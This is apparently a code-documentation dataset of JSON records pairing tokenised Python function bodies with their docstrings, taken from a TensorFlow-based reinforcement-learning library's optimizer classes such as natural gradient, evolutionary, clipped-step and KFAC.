{"signature": "def tf_step(self, time, variables, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Creates the TensorFlow operations for performing an optimization step on the given variables, including\nactually changing the values of the variables.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    **kwargs: Additional arguments depending on the specific optimizer implementation.  \n        For instance, often includes `fn_loss` if a loss function is optimized.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14334:c0:m1"}
{"signature": "def apply_step(self, variables, deltas):", "body": "if len(variables) != len(deltas):<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>return tf.group(<EOL>*(tf.assign_add(ref=variable, value=delta) for variable, delta in zip(variables, deltas))<EOL>)<EOL>", "docstring": "Applies the given (and already calculated) step deltas to the variable values.\n\nArgs:\n    variables: List of variables.\n    deltas: List of deltas of same length.\n\nReturns:\n    The step-applied operation. A tf.group of tf.assign_add ops.", "id": "f14334:c0:m2"}
{"signature": "def minimize(self, time, variables, **kwargs):", "body": "<EOL>deltas = self.step(time=time, variables=variables, **kwargs)<EOL>with tf.control_dependencies(control_inputs=deltas):<EOL><INDENT>return tf.no_op()<EOL><DEDENT>", "docstring": "Performs an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    **kwargs: Additional optimizer-specific arguments. The following arguments are used\n        by some optimizers:\n    - arguments: Dict of arguments for callables, like fn_loss.\n    - fn_loss: A callable returning the loss of the current model.\n    - fn_reference: A callable returning the reference values, in case of a comparative  \n        loss.\n    - fn_kl_divergence: A callable returning the KL-divergence relative to the\n        current model.\n    - sampled_loss: A sampled loss (integer).\n    - return_estimated_improvement: Returns the estimated improvement resulting from\n        the natural gradient calculation if true.\n    - source_variables: List of source variables to synchronize with.\n    - global_variables: List of global variables to apply the proposed optimization\n        step to.\n\n\nReturns:\n    The optimization operation.", "id": "f14334:c0:m3"}
{"signature": "def get_variables(self):", "body": "return [self.variables[key] for key in sorted(self.variables)]<EOL>", "docstring": "Returns the TensorFlow variables used by the optimizer.\n\nReturns:\n    List of variables.", "id": "f14334:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def from_spec(spec, kwargs=None):<DEDENT>", "body": "optimizer = util.get_object(<EOL>obj=spec,<EOL>predefined_objects=tensorforce.core.optimizers.optimizers,<EOL>kwargs=kwargs<EOL>)<EOL>assert isinstance(optimizer, Optimizer)<EOL>return optimizer<EOL>", "docstring": "Creates an optimizer from a specification dict.", "id": "f14334:c0:m5"}
{"signature": "def __init__(self, optimizer, scope='<STR_LIT>', summary_labels=(), **kwargs):", "body": "self.optimizer = Optimizer.from_spec(spec=optimizer, kwargs=kwargs)<EOL>super(MetaOptimizer, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new meta optimizer instance.\n\nArgs:\n    optimizer: The optimizer which is modified by this meta optimizer.", "id": "f14335:c0:m0"}
{"signature": "def __init__(self, optimizer, scope=None, summary_labels=(), **kwargs):", "body": "self.tf_optimizer_type = optimizer<EOL>self.tf_optimizer = TFOptimizer.tf_optimizers[optimizer](**kwargs)<EOL>super(TFOptimizer, self).__init__(scope=(scope or optimizer), summary_labels=summary_labels)<EOL>", "docstring": "Creates a new optimizer instance of a TensorFlow optimizer.\n\nArgs:\n    optimizer: The name of the optimizer. Must be one of the keys of the tf_optimizers dict.\n    **kwargs: Arguments passed on to the TensorFlow optimizer constructor as **kwargs.", "id": "f14336:c0:m0"}
{"signature": "def tf_step(self, time, variables, **kwargs):", "body": "arguments = kwargs[\"<STR_LIT>\"]<EOL>fn_loss = kwargs[\"<STR_LIT>\"]<EOL>loss = fn_loss(**arguments)<EOL>with tf.control_dependencies(control_inputs=(loss,)):<EOL><INDENT>previous_variables = [variable + <NUM_LIT:0.0> for variable in variables]<EOL><DEDENT>with tf.control_dependencies(control_inputs=previous_variables):<EOL><INDENT>applied = self.tf_optimizer.minimize(loss=loss, var_list=variables)  <EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>return [<EOL>variable - previous_variable<EOL>for variable, previous_variable in zip(variables, previous_variables)<EOL>]<EOL><DEDENT>", "docstring": "Keyword Args:\n    arguments: Dict of arguments for passing to fn_loss as **kwargs.\n    fn_loss: A callable taking arguments as kwargs and returning the loss op of the current model.", "id": "f14336:c0:m1"}
{"signature": "def __init__(self, optimizer, fraction=<NUM_LIT:0.1>, scope='<STR_LIT>', summary_labels=()):", "body": "assert isinstance(fraction, float) and fraction > <NUM_LIT:0.0><EOL>self.fraction = fraction<EOL>super(SubsamplingStep, self).__init__(optimizer=optimizer, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new subsampling-step meta optimizer instance.\n\nArgs:\n    optimizer: The optimizer which is modified by this meta optimizer.\n    fraction: The fraction of instances of the batch to subsample.", "id": "f14337:c0:m0"}
{"signature": "def tf_step(<EOL>self,<EOL>time,<EOL>variables,<EOL>arguments,<EOL>**kwargs<EOL>):", "body": "<EOL>arguments_iter = iter(arguments.values())<EOL>some_argument = next(arguments_iter)<EOL>try:<EOL><INDENT>while not isinstance(some_argument, tf.Tensor) or util.rank(some_argument) == <NUM_LIT:0>:<EOL><INDENT>if isinstance(some_argument, dict):<EOL><INDENT>if some_argument:<EOL><INDENT>arguments_iter = iter(some_argument.values())<EOL><DEDENT>some_argument = next(arguments_iter)<EOL><DEDENT>elif isinstance(some_argument, list):<EOL><INDENT>if some_argument:<EOL><INDENT>arguments_iter = iter(some_argument)<EOL><DEDENT>some_argument = next(arguments_iter)<EOL><DEDENT>elif some_argument is None or util.rank(some_argument) == <NUM_LIT:0>:<EOL><INDENT>some_argument = next(arguments_iter)<EOL><DEDENT>else:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>batch_size = tf.shape(input=some_argument)[<NUM_LIT:0>]<EOL>num_samples = tf.cast(<EOL>x=(self.fraction * tf.cast(x=batch_size, dtype=util.tf_dtype('<STR_LIT:float>'))),<EOL>dtype=util.tf_dtype('<STR_LIT:int>')<EOL>)<EOL>num_samples = tf.maximum(x=num_samples, y=<NUM_LIT:1>)<EOL>indices = tf.random_uniform(shape=(num_samples,), maxval=batch_size, dtype=tf.int32)<EOL>subsampled_arguments = util.map_tensors(<EOL>fn=(lambda arg: arg if util.rank(arg) == <NUM_LIT:0> else tf.gather(params=arg, indices=indices)),<EOL>tensors=arguments<EOL>)<EOL>return self.optimizer.step(<EOL>time=time,<EOL>variables=variables,<EOL>arguments=subsampled_arguments,<EOL>**kwargs<EOL>)<EOL>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    arguments: Dict of arguments for callables, like fn_loss.\n    **kwargs: Additional arguments passed on to the internal optimizer.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14337:c0:m1"}
{"signature": "def __init__(self, optimizer, num_steps=<NUM_LIT:10>, unroll_loop=False, scope='<STR_LIT>', summary_labels=()):", "body": "assert isinstance(num_steps, int) and num_steps > <NUM_LIT:0><EOL>self.num_steps = num_steps<EOL>assert isinstance(unroll_loop, bool)<EOL>self.unroll_loop = unroll_loop<EOL>super(MultiStep, self).__init__(optimizer=optimizer, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new multi-step meta optimizer instance.\n\nArgs:\n    optimizer: The optimizer which is modified by this meta optimizer.\n    num_steps: Number of optimization steps to perform.", "id": "f14338:c0:m0"}
{"signature": "def tf_step(self, time, variables, arguments, fn_reference=None, **kwargs):", "body": "<EOL>arguments['<STR_LIT>'] = fn_reference(**arguments)<EOL>deltas = self.optimizer.step(time=time, variables=variables, arguments=arguments, **kwargs)<EOL>if self.unroll_loop:<EOL><INDENT>for _ in xrange(self.num_steps - <NUM_LIT:1>):<EOL><INDENT>with tf.control_dependencies(control_inputs=deltas):<EOL><INDENT>step_deltas = self.optimizer.step(time=time, variables=variables, arguments=arguments, **kwargs)<EOL>deltas = [delta1 + delta2 for delta1, delta2 in zip(deltas, step_deltas)]<EOL><DEDENT><DEDENT>return deltas<EOL><DEDENT>else:<EOL><INDENT>def body(iteration, deltas):<EOL><INDENT>with tf.control_dependencies(control_inputs=deltas):<EOL><INDENT>step_deltas = self.optimizer.step(time=time, variables=variables, arguments=arguments, **kwargs)<EOL>deltas = [delta1 + delta2 for delta1, delta2 in zip(deltas, step_deltas)]<EOL>return iteration + <NUM_LIT:1>, deltas<EOL><DEDENT><DEDENT>def cond(iteration, deltas):<EOL><INDENT>return iteration < self.num_steps - <NUM_LIT:1><EOL><DEDENT>_, deltas = tf.while_loop(cond=cond, body=body, loop_vars=(<NUM_LIT:0>, deltas))<EOL>return deltas<EOL><DEDENT>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    arguments: Dict of arguments for callables, like fn_loss.\n    fn_reference: A callable returning the reference values, in case of a comparative loss.\n    **kwargs: Additional arguments passed on to the internal optimizer.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14338:c0:m1"}
{"signature": "def __init__(self, learning_rate, num_samples=<NUM_LIT:1>, unroll_loop=False, scope='<STR_LIT>', summary_labels=()):", "body": "assert isinstance(learning_rate, float) and learning_rate > <NUM_LIT:0.0><EOL>self.learning_rate = learning_rate<EOL>assert isinstance(num_samples, int) and num_samples > <NUM_LIT:0><EOL>self.num_samples = num_samples<EOL>assert isinstance(unroll_loop, bool)<EOL>self.unroll_loop = unroll_loop<EOL>super(Evolutionary, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new evolutionary optimizer instance.\n\nArgs:\n    learning_rate: Learning rate.\n    num_samples: Number of sampled perturbations.", "id": "f14339:c0:m0"}
{"signature": "def tf_step(<EOL>self,<EOL>time,<EOL>variables,<EOL>arguments,<EOL>fn_loss,<EOL>**kwargs<EOL>):", "body": "unperturbed_loss = fn_loss(**arguments)<EOL>perturbations = [tf.random_normal(shape=util.shape(variable)) * self.learning_rate for variable in variables]<EOL>applied = self.apply_step(variables=variables, deltas=perturbations)<EOL>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>perturbed_loss = fn_loss(**arguments)<EOL>direction = tf.sign(x=(unperturbed_loss - perturbed_loss))<EOL>deltas_sum = [direction * perturbation for perturbation in perturbations]<EOL><DEDENT>if self.unroll_loop:<EOL><INDENT>previous_perturbations = perturbations<EOL>for sample in xrange(self.num_samples):<EOL><INDENT>with tf.control_dependencies(control_inputs=deltas_sum):<EOL><INDENT>perturbations = [tf.random_normal(shape=util.shape(variable)) * self.learning_rate for variable in variables]<EOL>perturbation_deltas = [<EOL>pert - prev_pert for pert, prev_pert in zip(perturbations, previous_perturbations)<EOL>]<EOL>applied = self.apply_step(variables=variables, deltas=perturbation_deltas)<EOL>previous_perturbations = perturbations<EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>perturbed_loss = fn_loss(**arguments)<EOL>direction = tf.sign(x=(unperturbed_loss - perturbed_loss))<EOL>deltas_sum = [delta + direction * perturbation for delta, perturbation in zip(deltas_sum, perturbations)]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>def body(iteration, deltas_sum, previous_perturbations):<EOL><INDENT>with tf.control_dependencies(control_inputs=deltas_sum):<EOL><INDENT>perturbations = [tf.random_normal(shape=util.shape(variable)) * self.learning_rate for variable in variables]<EOL>perturbation_deltas = [<EOL>pert - prev_pert for pert, prev_pert in zip(perturbations, previous_perturbations)<EOL>]<EOL>applied = self.apply_step(variables=variables, deltas=perturbation_deltas)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>perturbed_loss = fn_loss(**arguments)<EOL>direction = tf.sign(x=(unperturbed_loss - perturbed_loss))<EOL>deltas_sum = [delta + direction * perturbation for delta, perturbation in zip(deltas_sum, perturbations)]<EOL><DEDENT>return iteration + <NUM_LIT:1>, deltas_sum, perturbations<EOL><DEDENT>def cond(iteration, deltas_sum, previous_perturbation):<EOL><INDENT>return iteration < self.num_samples - <NUM_LIT:1><EOL><DEDENT>_, deltas_sum, perturbations = tf.while_loop(cond=cond, body=body, loop_vars=(<NUM_LIT:0>, deltas_sum, perturbations))<EOL><DEDENT>with tf.control_dependencies(control_inputs=deltas_sum):<EOL><INDENT>deltas = [delta / self.num_samples for delta in deltas_sum]<EOL>perturbation_deltas = [delta - pert for delta, pert in zip(deltas, perturbations)]<EOL>applied = self.apply_step(variables=variables, deltas=perturbation_deltas)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>return [delta + <NUM_LIT:0.0> for delta in deltas]<EOL><DEDENT>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    arguments: Dict of arguments for callables, like fn_loss.\n    fn_loss: A callable returning the loss of the current model.\n    **kwargs: Additional arguments, not used.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14339:c0:m1"}
{"signature": "def __init__(self, sync_frequency=<NUM_LIT:1>, update_weight=<NUM_LIT:1.0>, scope='<STR_LIT>', summary_labels=()):", "body": "assert isinstance(sync_frequency, int) and sync_frequency > <NUM_LIT:0><EOL>self.sync_frequency = sync_frequency<EOL>assert isinstance(update_weight, float) and update_weight > <NUM_LIT:0.0><EOL>self.update_weight = update_weight<EOL>super(Synchronization, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new synchronization optimizer instance.\n\nArgs:\n    sync_frequency: The interval between optimization calls actually performing a  \n    synchronization step.\n    update_weight: The update weight, 1.0 meaning a full assignment of the source  \n    variables values.", "id": "f14340:c0:m0"}
{"signature": "def tf_step(self, time, variables, source_variables, **kwargs):", "body": "assert all(util.shape(source) == util.shape(target) for source, target in zip(source_variables, variables))<EOL>last_sync = tf.get_variable(<EOL>name='<STR_LIT>',<EOL>shape=(),<EOL>dtype=tf.int64,<EOL>initializer=tf.constant_initializer(value=(-self.sync_frequency), dtype=tf.int64),<EOL>trainable=False<EOL>)<EOL>def sync():<EOL><INDENT>deltas = list()<EOL>for source_variable, target_variable in zip(source_variables, variables):<EOL><INDENT>delta = self.update_weight * (source_variable - target_variable)<EOL>deltas.append(delta)<EOL><DEDENT>applied = self.apply_step(variables=variables, deltas=deltas)<EOL>last_sync_updated = last_sync.assign(value=time)<EOL>with tf.control_dependencies(control_inputs=(applied, last_sync_updated)):<EOL><INDENT>return [delta + <NUM_LIT:0.0> for delta in deltas]<EOL><DEDENT><DEDENT>def no_sync():<EOL><INDENT>deltas = list()<EOL>for variable in variables:<EOL><INDENT>delta = tf.zeros(shape=util.shape(variable))<EOL>deltas.append(delta)<EOL><DEDENT>return deltas<EOL><DEDENT>do_sync = (time - last_sync >= self.sync_frequency)<EOL>return tf.cond(pred=do_sync, true_fn=sync, false_fn=no_sync)<EOL>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    source_variables: List of source variables to synchronize with.\n    **kwargs: Additional arguments, not used.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14340:c0:m1"}
{"signature": "def __init__(self, optimizer, clipping_value, scope='<STR_LIT>', summary_labels=()):", "body": "assert isinstance(clipping_value, float) and clipping_value > <NUM_LIT:0.0><EOL>self.clipping_value = clipping_value<EOL>super(ClippedStep, self).__init__(optimizer=optimizer, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new multi-step meta optimizer instance.\n\nArgs:\n    optimizer: The optimizer which is modified by this meta optimizer.\n    clipping_value: Clip deltas at this value.", "id": "f14341:c0:m0"}
{"signature": "def tf_step(self, time, variables, **kwargs):", "body": "deltas = self.optimizer.step(time=time, variables=variables, **kwargs)<EOL>with tf.control_dependencies(control_inputs=deltas):<EOL><INDENT>clipped_deltas = list()<EOL>exceeding_deltas = list()<EOL>for delta in deltas:<EOL><INDENT>clipped_delta = tf.clip_by_value(<EOL>t=delta,<EOL>clip_value_min=-self.clipping_value,<EOL>clip_value_max=self.clipping_value<EOL>)<EOL>clipped_deltas.append(clipped_delta)<EOL>exceeding_deltas.append(clipped_delta - delta)<EOL><DEDENT><DEDENT>applied = self.apply_step(variables=variables, deltas=exceeding_deltas)<EOL>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>return [delta + <NUM_LIT:0.0> for delta in clipped_deltas]<EOL><DEDENT>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    **kwargs: Additional arguments passed on to the internal optimizer.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14341:c0:m1"}
{"signature": "def __init__(self, optimizer, scope='<STR_LIT>', summary_labels=()):", "body": "super(GlobalOptimizer, self).__init__(optimizer=optimizer, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new global optimizer instance.\n\nArgs:\n    optimizer: The optimizer which is modified by this meta optimizer.", "id": "f14342:c0:m0"}
{"signature": "def tf_step(self, time, variables, **kwargs):", "body": "global_variables = kwargs[\"<STR_LIT>\"]<EOL>assert all(<EOL>util.shape(global_variable) == util.shape(local_variable)<EOL>for global_variable, local_variable in zip(global_variables, variables)<EOL>)<EOL>local_deltas = self.optimizer.step(time=time, variables=variables, **kwargs)<EOL>with tf.control_dependencies(control_inputs=local_deltas):<EOL><INDENT>applied = self.optimizer.apply_step(variables=global_variables, deltas=local_deltas)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>update_deltas = list()<EOL>for global_variable, local_variable in zip(global_variables, variables):<EOL><INDENT>delta = global_variable - local_variable<EOL>update_deltas.append(delta)<EOL><DEDENT>applied = self.apply_step(variables=variables, deltas=update_deltas)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>return [local_delta + update_delta for local_delta, update_delta in zip(local_deltas, update_deltas)]<EOL><DEDENT>", "docstring": "Keyword Args:\n    global_variables: List of global variables to apply the proposed optimization step to.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14342:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>optimizer,<EOL>ls_max_iterations=<NUM_LIT:10>,<EOL>ls_accept_ratio=<NUM_LIT>,<EOL>ls_mode='<STR_LIT>',<EOL>ls_parameter=<NUM_LIT:0.5>,<EOL>ls_unroll_loop=False,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.solver = LineSearch(<EOL>max_iterations=ls_max_iterations,<EOL>accept_ratio=ls_accept_ratio,<EOL>mode=ls_mode,<EOL>parameter=ls_parameter,<EOL>unroll_loop=ls_unroll_loop<EOL>)<EOL>super(OptimizedStep, self).__init__(optimizer=optimizer, scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new optimized step meta optimizer instance.\n\nArgs:\n    optimizer: The optimizer which is modified by this meta optimizer.\n    ls_max_iterations: Maximum number of line search iterations.\n    ls_accept_ratio: Line search acceptance ratio.\n    ls_mode: Line search mode, see LineSearch solver.\n    ls_parameter: Line search parameter, see LineSearch solver.\n    ls_unroll_loop: Unroll line search loop if true.", "id": "f14345:c0:m0"}
{"signature": "def tf_step(<EOL>self,<EOL>time,<EOL>variables,<EOL>arguments,<EOL>fn_loss,<EOL>fn_reference,<EOL>**kwargs<EOL>):", "body": "<EOL>arguments['<STR_LIT>'] = fn_reference(**arguments)<EOL>loss_before = -fn_loss(**arguments)<EOL>with tf.control_dependencies(control_inputs=(loss_before,)):<EOL><INDENT>deltas = self.optimizer.step(<EOL>time=time,<EOL>variables=variables,<EOL>arguments=arguments,<EOL>fn_loss=fn_loss,<EOL>return_estimated_improvement=True,<EOL>**kwargs<EOL>)<EOL>if isinstance(deltas, tuple):<EOL><INDENT>if len(deltas) != <NUM_LIT:2>:<EOL><INDENT>raise TensorForceError(\"<STR_LIT>\")<EOL><DEDENT>deltas, estimated_improvement = deltas<EOL>estimated_improvement = -estimated_improvement<EOL><DEDENT>else:<EOL><INDENT>estimated_improvement = None<EOL><DEDENT><DEDENT>with tf.control_dependencies(control_inputs=deltas):<EOL><INDENT>loss_step = -fn_loss(**arguments)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(loss_step,)):<EOL><INDENT>def evaluate_step(deltas):<EOL><INDENT>with tf.control_dependencies(control_inputs=deltas):<EOL><INDENT>applied = self.apply_step(variables=variables, deltas=deltas)<EOL><DEDENT>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>return -fn_loss(**arguments)<EOL><DEDENT><DEDENT>return self.solver.solve(<EOL>fn_x=evaluate_step,<EOL>x_init=deltas,<EOL>base_value=loss_before,<EOL>target_value=loss_step,<EOL>estimated_improvement=estimated_improvement<EOL>)<EOL><DEDENT>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    arguments: Dict of arguments for callables, like fn_loss.\n    fn_loss: A callable returning the loss of the current model.\n    fn_reference: A callable returning the reference values, in case of a comparative loss.\n    **kwargs: Additional arguments passed on to the internal optimizer.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14345:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>learning_rate,<EOL>cg_max_iterations=<NUM_LIT:20>,<EOL>cg_damping=<NUM_LIT>,<EOL>cg_unroll_loop=False,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "assert learning_rate > <NUM_LIT:0.0><EOL>self.learning_rate = learning_rate<EOL>self.solver = ConjugateGradient(<EOL>max_iterations=cg_max_iterations,<EOL>damping=cg_damping,<EOL>unroll_loop=cg_unroll_loop<EOL>)<EOL>super(NaturalGradient, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Creates a new natural gradient optimizer instance.\n\nArgs:\n    learning_rate: Learning rate, i.e. KL-divergence of distributions between optimization steps.\n    cg_max_iterations: Conjugate gradient solver max iterations.\n    cg_damping: Conjugate gradient solver damping factor.\n    cg_unroll_loop: Unroll conjugate gradient loop if true.", "id": "f14346:c0:m0"}
{"signature": "def tf_step(<EOL>self,<EOL>time,<EOL>variables,<EOL>arguments,<EOL>fn_loss,<EOL>fn_kl_divergence,<EOL>return_estimated_improvement=False,<EOL>**kwargs<EOL>):", "body": "<EOL>kldiv = fn_kl_divergence(**arguments)<EOL>kldiv_gradients = tf.gradients(ys=kldiv, xs=variables)<EOL>def fisher_matrix_product(deltas):<EOL><INDENT>deltas = [tf.stop_gradient(input=delta) for delta in deltas]<EOL>delta_kldiv_gradients = tf.add_n(inputs=[<EOL>tf.reduce_sum(input_tensor=(delta * grad)) for delta, grad in zip(deltas, kldiv_gradients)<EOL>])<EOL>return tf.gradients(ys=delta_kldiv_gradients, xs=variables)<EOL><DEDENT>loss = fn_loss(**arguments)<EOL>loss_gradients = tf.gradients(ys=loss, xs=variables)<EOL>deltas = self.solver.solve(fn_x=fisher_matrix_product, x_init=None, b=[-grad for grad in loss_gradients])<EOL>delta_fisher_matrix_product = fisher_matrix_product(deltas=deltas)<EOL>constant = <NUM_LIT:0.5> * tf.add_n(inputs=[<EOL>tf.reduce_sum(input_tensor=(delta_F * delta))<EOL>for delta_F, delta in zip(delta_fisher_matrix_product, deltas)<EOL>])<EOL>def natural_gradient_step():<EOL><INDENT>lagrange_multiplier = tf.sqrt(x=(constant / self.learning_rate))<EOL>estimated_deltas = [delta / lagrange_multiplier for delta in deltas]<EOL>estimated_improvement = tf.add_n(inputs=[<EOL>tf.reduce_sum(input_tensor=(grad * delta))<EOL>for grad, delta in zip(loss_gradients, estimated_deltas)<EOL>])<EOL>applied = self.apply_step(variables=variables, deltas=estimated_deltas)<EOL>with tf.control_dependencies(control_inputs=(applied,)):<EOL><INDENT>if return_estimated_improvement:<EOL><INDENT>return [estimated_delta + <NUM_LIT:0.0> for estimated_delta in estimated_deltas], estimated_improvement<EOL><DEDENT>else:<EOL><INDENT>return [estimated_delta + <NUM_LIT:0.0> for estimated_delta in estimated_deltas]<EOL><DEDENT><DEDENT><DEDENT>def zero_step():<EOL><INDENT>if return_estimated_improvement:<EOL><INDENT>return [tf.zeros_like(tensor=delta) for delta in deltas], <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>return [tf.zeros_like(tensor=delta) for delta in deltas]<EOL><DEDENT><DEDENT>return tf.cond(pred=(constant > <NUM_LIT:0.0>), true_fn=natural_gradient_step, false_fn=zero_step)<EOL>", "docstring": "Creates the TensorFlow operations for performing an optimization step.\n\nArgs:\n    time: Time tensor.\n    variables: List of variables to optimize.\n    arguments: Dict of arguments for callables, like fn_loss.\n    fn_loss: A callable returning the loss of the current model.\n    fn_kl_divergence: A callable returning the KL-divergence relative to the current model.\n    return_estimated_improvement: Returns the estimated improvement resulting from the  \n        natural gradient calculation if true.\n    **kwargs: Additional arguments, not used.\n\nReturns:\n    List of delta tensors corresponding to the updates for each optimized variable.", "id": "f14346:c0:m1"}
{"signature": "def __init__(<EOL>self,<EOL>learning_rate=<NUM_LIT>,<EOL>momentum=<NUM_LIT>,<EOL>clip_kl=<NUM_LIT>,<EOL>kfac_update=<NUM_LIT:2>,<EOL>stats_accum_iter=<NUM_LIT>,<EOL>full_stats_init=False,<EOL>cold_iter=<NUM_LIT:100>,<EOL>cold_lr=None,<EOL>async_=False,<EOL>async_stats=False,<EOL>epsilon=<NUM_LIT>,<EOL>stats_decay=<NUM_LIT>,<EOL>blockdiag_bias=False,<EOL>channel_fac=False,<EOL>factored_damping=False,<EOL>approxT2=False,<EOL>use_float64=False,<EOL>weight_decay_dict={},<EOL>max_grad_norm=<NUM_LIT:0.5>,<EOL>scope='<STR_LIT>',<EOL>summary_labels=()<EOL>):", "body": "self.max_grad_norm = max_grad_norm<EOL>self._lr = learning_rate<EOL>self._momentum = momentum<EOL>self._clip_kl = clip_kl<EOL>self._channel_fac = channel_fac<EOL>self._kfac_update = kfac_update<EOL>self._async = async_<EOL>self._async_stats = async_stats<EOL>self._epsilon = epsilon<EOL>self._stats_decay = stats_decay<EOL>self._blockdiag_bias = blockdiag_bias<EOL>self._approxT2 = approxT2<EOL>self._use_float64 = use_float64<EOL>self._factored_damping = factored_damping<EOL>self._cold_iter = cold_iter<EOL>if cold_lr == None:<EOL><INDENT>self._cold_lr = self._lr<EOL><DEDENT>else:<EOL><INDENT>self._cold_lr = cold_lr<EOL><DEDENT>self._stats_accum_iter = stats_accum_iter<EOL>self._weight_decay_dict = weight_decay_dict<EOL>self._diag_init_coeff = <NUM_LIT:0.><EOL>self._full_stats_init = full_stats_init<EOL>if not self._full_stats_init:<EOL><INDENT>self._stats_accum_iter = self._cold_iter<EOL><DEDENT>self.sgd_step = tf.Variable(<NUM_LIT:0>, name='<STR_LIT>', trainable=False)<EOL>self.global_step = tf.Variable(<EOL><NUM_LIT:0>, name='<STR_LIT>', trainable=False)<EOL>self.cold_step = tf.Variable(<NUM_LIT:0>, name='<STR_LIT>', trainable=False)<EOL>self.factor_step = tf.Variable(<EOL><NUM_LIT:0>, name='<STR_LIT>', trainable=False)<EOL>self.stats_step = tf.Variable(<EOL><NUM_LIT:0>, name='<STR_LIT>', trainable=False)<EOL>self.vFv = tf.Variable(<NUM_LIT:0.>, name='<STR_LIT>', trainable=False)<EOL>self.factors = {}<EOL>self.param_vars = []<EOL>self.stats = {}<EOL>self.stats_eigen = {}<EOL>super(KFAC, self).__init__(scope=scope, summary_labels=summary_labels)<EOL>", "docstring": "Initializes a KFAC optimizer.\n\nFor more information on arguments, see the Kfac Optimization paper https://arxiv.org/pdf/1503.05671.pdf", "id": "f14347:c0:m0"}
{"signature": "def apply_stats(self, statsUpdates):", "body": "def updateAccumStats():<EOL><INDENT>if self._full_stats_init:<EOL><INDENT>return tf.cond(tf.greater(self.sgd_step, self._cold_iter), lambda: tf.group(*self._apply_stats(statsUpdates, accumulate=True, accumulateCoeff=<NUM_LIT:1.> / self._stats_accum_iter)), tf.no_op)<EOL><DEDENT>else:<EOL><INDENT>return tf.group(*self._apply_stats(statsUpdates, accumulate=True, accumulateCoeff=<NUM_LIT:1.> / self._stats_accum_iter))<EOL><DEDENT><DEDENT>def updateRunningAvgStats(statsUpdates, fac_iter=<NUM_LIT:1>):<EOL><INDENT>return tf.group(*self._apply_stats(statsUpdates))<EOL><DEDENT>if self._async_stats:<EOL><INDENT>update_stats = self._apply_stats(statsUpdates)<EOL>queue = tf.FIFOQueue(<NUM_LIT:1>, [item.dtype for item in update_stats], shapes=[<EOL>item.get_shape() for item in update_stats])<EOL>enqueue_op = queue.enqueue(update_stats)<EOL>def dequeue_stats_op():<EOL><INDENT>return queue.dequeue()<EOL><DEDENT>self.qr_stats = tf.train.QueueRunner(queue, [enqueue_op])<EOL>update_stats_op = tf.cond(tf.equal(queue.size(), tf.convert_to_tensor(<EOL><NUM_LIT:0>)), tf.no_op, lambda: tf.group(*[dequeue_stats_op(), ]))<EOL><DEDENT>else:<EOL><INDENT>update_stats_op = tf.cond(tf.greater_equal(<EOL>self.stats_step, self._stats_accum_iter), lambda: updateRunningAvgStats(statsUpdates), updateAccumStats)<EOL><DEDENT>self._update_stats_op = update_stats_op<EOL>return update_stats_op<EOL>", "docstring": "compute stats and update/apply the new stats to the running average", "id": "f14347:c0:m5"}
